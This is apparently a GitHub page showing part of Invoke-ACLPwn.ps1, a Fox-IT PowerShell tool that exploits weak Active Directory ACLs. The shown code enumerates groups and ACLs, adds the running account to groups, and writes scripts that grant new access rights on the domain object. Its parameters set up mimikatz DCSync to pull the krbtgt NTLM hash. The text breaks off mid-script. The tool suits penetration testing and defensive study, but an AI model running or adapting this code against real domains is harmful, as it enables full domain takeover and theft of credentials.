-
Notifications
You must be signed in to change notification settings - Fork 72
/
Invoke-ACLPwn.ps1
1848 lines (1455 loc) · 64.7 KB
/
Invoke-ACLPwn.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
### Written by Rindert Kramer
####################
#
# Copyright (c) 2018 Fox-IT
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISNG FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
####################
# thx: https://github.com/NickolajA/PowerShell/blob/master/AzureAD/Set-AADSyncPermissions.ps1
# thx: https://social.technet.microsoft.com/Forums/ie/en-US/f238d2b0-a1d7-48e8-8a60-542e7ccfa2e8/recursive-retrieval-of-all-ad-group-memberships-of-a-user?forum=ITCG
# thx: https://raw.githubusercontent.com/canix1/ADACLScanner/master/ADACLScan.ps1
# thx: https://blogs.msdn.microsoft.com/dsadsi/2013/07/09/setting-active-directory-object-permissions-using-powershell-and-system-directoryservices/
[CmdletBinding()]
[Alias()]
[OutputType([int])]
Param
(
[string]$domain,
[string]$username,
[string]$password,
[string]$protocol = 'LDAP',
[string]$port = 389,
[switch]$WhatIf,
[switch]$NoSecCleanup,
[switch]$NoDCSync,
[string]$mimiKatzLocation,
[string]$SharpHoundLocation,
[string]$userAccountToPwn = 'krbtgt',
[switch]$logToFile
)
#region ADFunctions
#Adds users to given group
function Set-GroupMembership ($groupDN, [switch]$Remove) {
if ($global:ldapConnInfo.Integrated_Login){
$principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext `
'Domain', $($global:ldapConnInfo.domain)
}
else {
$principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext `
'Domain', $($global:ldapConnInfo.domain), $($global:ldapConnInfo.username),$($global:ldapConnInfo.password)
}
$idType = [System.DirectoryServices.AccountManagement.IdentityType]::DistinguishedName
$grpPrincipal = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($principalContext, $idType, $groupDN)
if ($grpPrincipal -eq $null){
Write-Bad "$($GroupDN) not found."
} else{
# do we need to remove the account?
if ($Remove) {
[void]$grpPrincipal.Members.Remove($principalContext, $idType, $($global:ldapConnInfo.distinguishedName))
} else {
[void]$grpPrincipal.Members.Add($principalContext, $idType, $($global:ldapConnInfo.distinguishedName))
}
$grpPrincipal.Save()
return 'Done'
}
# cleanup
$principalContext.Dispose()
if ($grpPrincipal -ne $null){
$grpPrincipal.Dispose()
}
}
# Gets given attribute for AD object
function Get-AttrForADObject ([string]$objectName, [string[]]$props) {
$result = [string]::Empty
# Sharphound returns sAmAccountname with @domain
$ldapQuery = "(&(objectClass=user)(|(name=$objectName)(sAMAccountName=$objectName)(userPrincipalName=$objectName)))"
if ($objectName.ToString().Contains('@')) {
$_user = $objectName.split('@')[0]
$ldapQuery = "(&(objectClass=user)(|(name=$objectName)(sAMAccountName=$_user)(sAMAccountName=$objectName)(userPrincipalName=$objectName)))"
}
$dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.LDAPConnString
$dirSearcher = New-Object System.DirectoryServices.DirectorySearcher $dirEntry
$dirSearcher.Filter = $ldapQuery
[void]$dirSearcher.PropertiesToLoad.AddRange($props)
$sResult = $dirSearcher.FindOne()
if ($sResult -eq $null) {
throw '[Get-AttrForADObject] User not found.'
}
$result = $sResult.Properties
# cleanup
try {
$dirSearcher.Dispose()
$dirEntry.Dispose()
}
catch {}
return $result
}
# Get distinguishedName for an AD object
function Get-DistinguishedNameForObject ([string]$obj) {
# Sharphound returns sAmAccountname with @domain
$ldapQuery = "(&(|(objectClass=group)(objectClass=user))(|(sAMAccountName=$obj)(userPrincipalName=$obj)))"
if ($obj.ToString().Contains('@')) {
$_obj = $obj.split('@')[0]
$ldapQuery = "(&(|(objectClass=group)(objectClass=user))(|(sAMAccountName=$_obj)(sAMAccountName=$obj)(userPrincipalName=$obj)))"
}
$result = [string]::Empty
$dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.LDAPConnString
$dirSearcher = New-Object System.DirectoryServices.DirectorySearcher $dirEntry
$dirSearcher.Filter = $ldapQuery
[void]$dirSearcher.PropertiesToLoad.Add('distinguishedName')
$sResult = $dirSearcher.FindOne()
if ($sResult -eq $null) {
throw '[Get-DistinguishedNameForObject] User not found.'
}
$result = $sResult.Properties['distinguishedName'][0]
# cleanup
$dirSearcher.Dispose()
$dirEntry.Dispose()
return $result
}
# Get groupmembership for supplied user
function Get-GroupMembership([string]$objName, [bool]$recursive = $true) {
$results = @()
# Get DN for user
$dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.LDAPConnString
$ObjDN = Get-DistinguishedNameForObject -obj $objName
# Use custom OID (LDAP_MATCHING_RULE_IN_CHAIN) for finding groups that this user is a (in)direct member of
# Search from top of the domain
$domainDirEntry = Get-DomainDirEntry -dirEntry $dirEntry
# Make the seach recursive, or not.
[string]$ldapFilter = [string]::Empty
if ($recursive) {
$ldapFilter = "(member:1.2.840.113556.1.4.1941:=$ObjDN)"
} else {
$ldapFilter = "(member=$ObjDN)"
}
$dirSearcher = New-Object System.DirectoryServices.DirectorySearcher $domainDirEntry
$dirSearcher.Filter = $ldapFilter
$dirSearcher.PageSize = 1000
$dirSearcher.SearchScope = "Subtree"
$sResults = $dirSearcher.FindAll()
if ($sResults -eq $null) {
throw '[Get-Groupmembership] User not found.'
}
$sResults | ForEach-Object {
$results += New-Object PSObject -Property @{
'groupDN' = $_.Properties['distinguishedName'][0]
'NTAccount' = $_.Properties['sAMAccountName'][0]
}
}
# cleanup
$dirEntry.Dispose()
$domainDirEntry.Dispose()
$dirSearcher.Dispose()
return $results
}
# Gets groupmembership of object
function Get-GroupMember ([string]$objectName){
$results = @()
# Get DN for user
$dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.LDAPConnString
$ObjDN = Get-DistinguishedNameForObject -obj $objectName
# Use custom OID (LDAP_MATCHING_RULE_IN_CHAIN) for finding groups that this user is a (in)direct member of
# Search from top of the domain
$domainDirEntry = Get-DomainDirEntry -dirEntry $dirEntry
$dirSearcher = New-Object System.DirectoryServices.DirectorySearcher $domainDirEntry
$dirSearcher.Filter = "(memberOf:1.2.840.113556.1.4.1941:=$ObjDN)"
$dirSearcher.PageSize = 1000
$dirSearcher.SearchScope = "Subtree"
$sResults = $dirSearcher.FindAll()
if ($sResults -eq $null) {
throw '[Get-Groupmember] User/Object not found.'
}
$sResults | ForEach-Object {
$results += New-Object PSObject -Property @{
'groupDN' = $_.Properties['distinguishedName'][0]
'NTAccount' = $_.Properties['sAMAccountName'][0]
}
}
# cleanup
$dirEntry.Dispose()
$domainDirEntry.Dispose()
$dirSearcher.Dispose()
return $results
}
# Get-DomainDirEntry
function Get-DomainDirEntry {
$dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.LDAPConnString
$dirSearcher = New-Object System.DirectoryServices.DirectorySearcher $dirEntry
$dirSearcher.Filter = "(&(objectClass=domain))"
$sResult = $dirSearcher.FindOne()
if ($sResult -eq $null) {
throw '[Get-DomainDirEntry] Domain not found.'
}
$domainDirEntry = $sResult.GetDirectoryEntry()
# cleanup
$dirEntry.Dispose()
$dirSearcher.Dispose()
return $domainDirEntry
}
# Get-DomainDN
function Get-DomainDN {
$dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.LDAPConnString
$dirSearcher = New-Object System.DirectoryServices.DirectorySearcher $dirEntry
$dirSearcher.Filter = "(&(objectClass=domain))"
$sResult = $dirSearcher.FindOne()
if ($sResult -eq $null) {
throw '[Get-DomainDN] Domain not found.'
}
$domainDirEntry = $sResult.Path
$dirEntry.Dispose()
$dirSearcher.Dispose()
return $domainDirEntry
}
# Get Schema and config DN
function Get-SchemaAndConfigContext {
$dirEntry = Get-DirEntry "LDAP://$($global:ADInfo.primaryDC)/RootDSE"
$schemaContext = $dirEntry.schemaNamingContext
$configContext = $dirEntry.configurationNamingContext
$global:ADInfo.ConfigurationNamingContext = $configContext[0]
$global:ADInfo.schemaNamingContext = $schemaContext[0]
#cleanup
$dirEntry.Dispose()
}
# Get classes from schema
function Get-SchemaClasses {
# We need the schemacontext for this one
$schemaDirEntry = Get-DirEntry "$($global:ldapConnInfo.protocol)://$($global:ADInfo.primaryDC)/$($global:ADInfo.schemaNamingContext)"
$dirSearcher = New-Object System.DirectoryServices.DirectorySearcher $schemaDirEntry
$dirSearcher.Filter = "(schemaIDGUID=*)"
$dirSearcher.PageSize = 10000000
[void]$dirSearcher.PropertiesToLoad.Add('ldapDisplayName')
[void]$dirSearcher.PropertiesToLoad.Add('schemaIDGUID')
$sResult = $dirSearcher.FindAll()
if ($sResult -eq $null) {
throw '[Get-SchemaClasses] No SchemaClasses not found.'
}
#$results = @()
$results = @{}
foreach ($r in $sResult) {
$results[$r.Properties['ldapDisplayName'][0]] = [guid]$r.Properties['schemaidguid'][0]
}
#cleanup
$schemaDirEntry.Dispose()
$dirSearcher.Dispose()
# Add some static guids
# ref: https://technet.microsoft.com/en-us/library/ff406260.aspx
$constGUID = @()
$constName = @()
$constGUID += '72e39547-7b18-11d1-adef-00c04fd8d5cd'
$constGUID += 'b8119fd0-04f6-4762-ab7a-4986c76b3f9a'
$constGUID += 'c7407360-20bf-11d0-a768-00aa006e0529'
$constGUID += 'e45795b2-9455-11d1-aebd-0000f80367c1'
$constGUID += '59ba2f42-79a2-11d0-9020-00c04fc2d3cf'
$constGUID += 'bc0ac240-79a9-11d0-9020-00c04fc2d4cf'
$constGUID += '77b5b886-944a-11d1-aebd-0000f80367c1'
$constGUID += 'e48d0154-bcf8-11d1-8702-00c04fb96050'
$constGUID += '4c164200-20c0-11d0-a768-00aa006e0529'
$constGUID += '5f202010-79a5-11d0-9020-00c04fc2d4cf'
$constGUID += 'e45795b3-9455-11d1-aebd-0000f80367c1'
$constName += 'DNS Host Name Attributes'
$constName += 'Other Domain Parameters'
$constName += 'Domain Password and Lockout Policies'
$constName += 'Phone and Mail Options'
$constName += 'General Information'
$constName += 'Group Membership'
$constName += 'Personal Information'
$constName += 'Public Information'
$constName += 'Account Restrictions'
$constName += 'Logon Information'
$constName += 'Web Information'
for ($i = 0; $i -lt $constName.Length; $i++) {
<#$results += New-Object PSObject -Property @{
'LDAPPath' = [string]::Empty
'schemaIdGuid' = $constGUID[$i]
'ldapDisplayName' = $constName[$i]
}#>
$results[$constName[$i]] = $constGUID[$i]
}
return $results
}
# Get all names and GUIDs of extended rights
function Get-ExtendedRights {
# We need the configurationcontext for this one
$configDirEntry = Get-DirEntry "$($global:ldapConnInfo.protocol)://$($global:ADInfo.primaryDC)/$($global:ADInfo.ConfigurationNamingContext)"
$dirSearcher = New-Object System.DirectoryServices.DirectorySearcher $configDirEntry
$dirSearcher.PageSize = 10000000
$dirSearcher.Filter = "(&(objectClass=controlAccessRight)(rightsGUID=*))"
[void]$dirSearcher.PropertiesToLoad.Add('displayName')
[void]$dirSearcher.PropertiesToLoad.Add('rightsGUID')
$sResult = $dirSearcher.FindAll()
$results = @()
foreach ($r in $sResult) {
$results += New-Object PSObject -Property @{
'schemaIdGuid' = [guid]$r.Properties['rightsGUID'][0]
'ldapDisplayName' = $r.Properties['displayName'][0]
'LDAPPath' = $r.Properties['adspath'][0]
}
}
# cleanup
$configDirEntry.Dispose()
$dirSearcher.Dispose()
return $results
}
# Returns the value of a well known SID or the already found NTAccount name
function Translate-IdentityReference ($reference, [bool]$resolve) {
$result = [string]::Empty
$result = $global:dicKnownSids[$reference]
if ($result -eq $null) {
# Do we need to resolve?
if ($resolve) {
$t = Get-DirEntry "$($global:ldapConnInfo.protocol)://$($global:ADInfo.primaryDC)/<SID=$reference>"
$foundRef = $t.Name
if ([string]::IsNullOrEmpty($foundRef)) {
# No name found. return $reference
$foundRef = $reference
}
else {
# Add to our dictionary
$global:dicKnownSids[$reference] = $t.Name.Value
}
$reference = $foundRef
}
$result = $reference
}
return $result
}
# Retrieve ACL of given ldap object
function Get-ADObjectACL ($objectDN) {
# Check if we need to resolve SIDs
$partOfDomain = (Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain
$LookupSIDs = $false
if (-not $partOfDomain) {
Write-Status 'This computer is not part of the target domain. Will lookup SIDs manually.'
$LookupSIDs = $true
}
# Takes a while
$results = @()
$dirEntry = Get-DirEntry -ldapDN $objectDN
# Retrieve ACL for domainobject
$ruleType = [System.Security.Principal.NTAccount]
$accessRules = $dirEntry.get_ObjectSecurity().GetAccessRules($true, $true, $ruleType)
$iCounter = 0
foreach ($ace in $accessRules) {
$eR = [string]::Empty
$attribute = [string]::Empty
$identifyReference = [string]::Empty
# Convert extendedright to something readable
if ($ace.ActiveDirectoryRights -eq 'ExtendedRight') {
$eR = ($global:ADInfo.extendedRights | Where-Object {$_.schemaIdGuid -eq $ace.ObjectType}).ldapDisplayName
}
else {
$attribute = ($global:ADInfo.schemaClasses.GetEnumerator() | Where-Object {$_.Value.Guid -eq $ace.ObjectType}).Name
}
# Get ID reference
$identifyReference = Translate-IdentityReference $ace.IdentityReference.Value -resolve $LookupSIDs
$results += New-Object PSObject -Property @{
'RightType' = $ace.ActiveDirectoryRights
'Allow/Deny' = $ace.AccessControlType
'IdentityReference' = $identifyReference
'rawIdRef' = $ace.IdentityReference.Value
'extendedRight' = $eR
'attribute' = $attribute
'Applies to' = ($global:ADInfo.schemaClasses | Where-Object {$_.schemaIdGuid -eq $ace.InheritedObjectType}).ldapDisplayName
}
$iCounter++
Write-Progress -Activity "Parsing ACL for object '$objectDN'. This may take a while.." `
-PercentComplete $($iCounter / $accessRules.Count * 100) `
-Status "Parsing ACE for $($identifyReference)"
}
# cleanup
$dirEntry.Dispose()
return new-object PSObject -property @{
'Parsed_result' = $results
'raw_results' = $accessRules
}
}
# Gets directoryEntry to supplied LDAPDN.
function Get-DirEntry ($ldapDN) {
$_ldapDN = [string]::Empty
# Check if DN starts with LDAP:// or GC://
if (-not ($ldapDN -imatch '^(?:ldap|gc)\:\/\/.+(\d{1,3})?')) {
$_ldapDN = "$($global:ldapConnInfo.protocol)://$($ldapDN)"
}
else {
$_ldapDN = $ldapDN
}
$authType = [System.DirectoryServices.AuthenticationTypes]::Secure
if ($global:ldapConnInfo.Integrated_Login) {
$_dirEntry = New-Object System.DirectoryServices.DirectoryEntry $global:ldapConnInfo.LDAPConnString
}
else {
$_dirEntry = New-Object System.DirectoryServices.DirectoryEntry $global:ldapConnInfo.LDAPConnString, $global:ldapConnInfo.Username, $global:ldapConnInfo.Password, $authType
}
$_dirEntry.Path = $_ldapDN
return $_dirEntry
}
# Get primaryDC from domain
function Get-PrimaryDC {
# Connect to AD, find domaincontroller with the PDC FSMO role
$dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.LDAPConnString
$dirSearcher = New-object System.DirectoryServices.DirectorySearcher $dirEntry
$dirSearcher.Filter = '(&(objectClass=domainDNS)(fSMORoleOwner=*))'
[void]$dirSearcher.PropertiesToLoad.Add('fSMORoleOwner')
$sResult = $dirSearcher.FindOne()
$result = [string]::Empty
if ($sResult) {
$roleOwner = $sResult.Properties['fSMORoleOwner'][0].ToString()
$roleOwnerParent = (Get-DirEntry "$roleOwner").Parent
$pDCFQDN = (Get-DirEntry "$RoleOwnerParent").dnsHostName
}
else {
Write-Error 'Failed to retrieve primary domain controller. Please check script\computer settings'
return
}
$result = $pDCFQDN
# cleanup
if (-not $dirSearcher.Disposed) {
$dirSearcher.Dispose()
}
if (-not $dirEntry.Disposed) {
$dirEntry.Dispose()
}
return $result
}
# Uses ActiveDirectory namespace from directoryservices. Newer
function Get-PrimaryDC35 {
$dirCtx = Get-DirectoryContext -ctxType Domain -targetName $global:ldapConnInfo.domain
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($dirCtx)
$pdc = $domain.PdcRoleOwner.Name
# cleanup
$domain.Dispose()
return $pdc
}
# returns authenticated directoryContext
function Get-DirectoryContext {
param (
[System.DirectoryServices.ActiveDirectory.DirectoryContextType]$ctxType = [System.DirectoryServices.ActiveDirectory.DirectoryContextType]::Domain,
[string]$targetName = [string]::empty
)
if ($global:ldapConnInfo.Integrated_Login) {
$dirCtx = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext $ctxType, $targetName
}
else {
$dirCtx = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext $ctxType, $targetName,
$global:ldapConnInfo.username, $global:ldapConnInfo.Password
}
return $dirCtx
}
#endregion
#region ScriptFunctions
function Get-Help {
$helpMsg = @"
This tool can be used to calculate and exploit unsafe configured ACLs in Active Directory.
More information: https://blog.fox-it.com/
Required parameters:
SharpHoundLocation: location of sharphound.exe
Optional parameters:
Domain : FQDN of the target domain
Username : Username to authenticate with
Password : Password to authenticate with
WhatIf : Displays only the action the script intends to do. No exploitation.
Access as well as potential access will increase if the user account is added
to security groups, so the result of this switch may look incomplete.
NoSecCleanup : By default, the user will be removed from the ACL and the groups that were added during runtime when the script is finished.
Setting this switch will leave that in tact.
NoDCSync : Will not run DCSync after all necessary steps have been taken
userAccountToPwn : User account to retrieve NTLM hash of. Only single user accounts supported now. Defaults to krbtgt account.
logToFile : Switch to write console output to file with the same name as script.
mimiKatzLocation : location of mimikatz.exe
The tool will use integrated authentication, unless domain FQDN, username and password are specified.
Please note that while protocol and port are optional parameters too, they've not been
incorporated completely within the script.
Usage: ./Invoke-ACL.ps1 -mimiKatzLocation <location> -SharpHoundLocation <location>`r`n
"@
Write-Host $helpMsg
}
function Invoke-Cleanup {
# Removes files that were created
Write-Status 'Removing files...'
$global:filesCreated | Sort-Object -unique | ForEach-Object {
Remove-Item -Path $_ -Force
}
# Remove ACE's
if (-not $global:NoSecCleanup){
Write-Status "Removing ACEs..."
Remove-ReplicationPartner
}
# Remove groupmembership, LIFO
if (-not $global:NoSecCleanup){
for ($i = $global:GroupAdded.Count -1; $i -ge 0; $i--){
$res = Set-GroupMembership -groupDN $global:GroupAdded[$i] -Remove
if ($res -ne 'Done'){
Write-Bad "Failed to remove groupmembership for group: $($global:GroupAdded[$i])"
} else {
Write-Status "User removed from group: $($global:GroupAdded[$i])"
}
}
}
}
function Start-PSScript ([string]$scriptLoc, [string]$scriptParam) {
if (-not (Test-Path $scriptLoc)) {
Write-Bad 'Script not found'
return $false
}
$powershellPath = 'C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe'
$params = "-file `"$scriptLoc`" -domain `"$($global:ldapConnInfo.domain)`" -username `"$($global:ldapConnInfo.username)`" -password `"$($global:ldapConnInfo.password)`" $scriptParam"
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "$powershellPath"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "$params"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$output = $p.StandardOutput.ReadToEnd()
$output += $p.StandardError.ReadToEnd()
# cleanup
$p.Dispose()
return $output
}
function Invoke-Runas {
#thx: https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-Runas.ps1
Param (
[Parameter(Mandatory = $True)]
[string]$User,
[Parameter(Mandatory = $True)]
[string]$Password,
[Parameter(Mandatory = $False)]
[string]$Domain=".",
[Parameter(Mandatory = $True)]
[string]$Binary,
[Parameter(Mandatory = $False)]
[string]$Args=$null,
[Parameter(Mandatory = $True)]
[int][ValidateSet(1,2)]
[string]$LogonType
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001
#$StartupInfo.wShowWindow = 0x0001
$StartupInfo.wShowWindow = 0x0000
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
#echo "`n[>] Calling Advapi32::CreateProcessWithLogonW"
$CallResult = [Advapi32]::CreateProcessWithLogonW(
$User, $Domain, $Password, $LogonType, $Binary,
$Args, 0x04000000, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
if (!$CallResult) {
Write-Error "`nMmm, something went wrong! GetLastError returned:"
Write-Error "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)`n"
}
}
function Write-Good ($str) {
$msg = "[+]`t$str"
Write-Host $msg -ForegroundColor Green
if ($logToFile){
$msg | Out-File -Append -FilePath 'Invoke-ACLPwn.log'
}
}
function Write-Status ($str) {
$msg = "[*]`t$str"
Write-Host $msg -ForegroundColor Yellow
if ($logToFile){
$msg | Out-File -Append -FilePath 'Invoke-ACLPwn.log'
}
}
function Write-Bad ($str) {
$msg = "[-]`t$str"
Write-Host $msg -ForegroundColor Red
if ($logToFile){
$msg | Out-File -Append -FilePath 'Invoke-ACLPwn.log'
}
}
function Get-ExtendedRightByName([string]$displayname) {
return ($global:ADInfo.extendedRights | Where-Object {$_.ldapDisplayName -eq $displayname}).schemaIdGuid.Guid
}
function Invoke-Cmd([string]$cmd, [string]$argV) {
if (-not (Test-Path $cmd)){
Write-Error "Path '$cmd' does not exist!"
return
}
if ($global:ldapConnInfo.Integrated_Login) {
Invoke-Expression -Command "$($cmd) $argV" | out-null
} else {
Invoke-Runas -User $global:ldapConnInfo.sAMAccountName -Password $global:ldapConnInfo.password -Domain $global:ldapConnInfo.domain -Binary $cmd -LogonType 0x2 -Args $argV
}
}
# Writes Add-ACE function to file
function Write-AddACEToFile {
$script = @'
[CmdletBinding()]
[Alias()]
[OutputType([int])]
Param
(
# Param1 help description
[string]$domain,
[string]$username,
[string]$password,
[string]$protocol = 'LDAP',
[int]$port = 389,
#ACE params
[switch]$integratedLogin,
[string]$userSIDString,
[string]$rightType,
[string]$action,
[string]$propertyGUID
)
#Get directoryEntry
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "$($protocol)://$($domain)"
try {
# translate GUIDs and SIDs from string to either GUID object and a SID object
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]$propertyGUID
$userSID = New-Object System.Security.Principal.SecurityIdentifier $userSIDString
# We don't need inheritance
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
# Build ACE
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $userSID , $rightType, $action, $propGUID, $inheritanceType, $nullGUID
# Apply ACE. Set security masks to DACL
if ($integratedLogin) {
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
} else {
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
}
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
# Save and cleanup
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
Write-Host 'Done' -NoNewline
}
catch {
Write-Host $_.Exception
}
'@
$script | Out-File 'Add-ACE.ps1'
$global:filesCreated += 'Add-ACE.ps1'
$global:ACEScript = (Get-ChildItem -Filter 'Add-ACE.ps1').FullName
}
# Writes AddToGroup function to file
function Write-AddToGroupToFile {
$script = @'
[CmdletBinding()]
[Alias()]
[OutputType([int])]
Param
(
# Param1 help description
[string]$domain,
[string]$username,
[string]$password,
[string]$protocol = 'LDAP',
[string]$port = 389,
[string]$groupDN,
[string]$userDN
)
Add-Type -AssemblyName System.DirectoryServices
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext 'Domain', $domain, $username, $password
$idType = [System.DirectoryServices.AccountManagement.IdentityType]::DistinguishedName
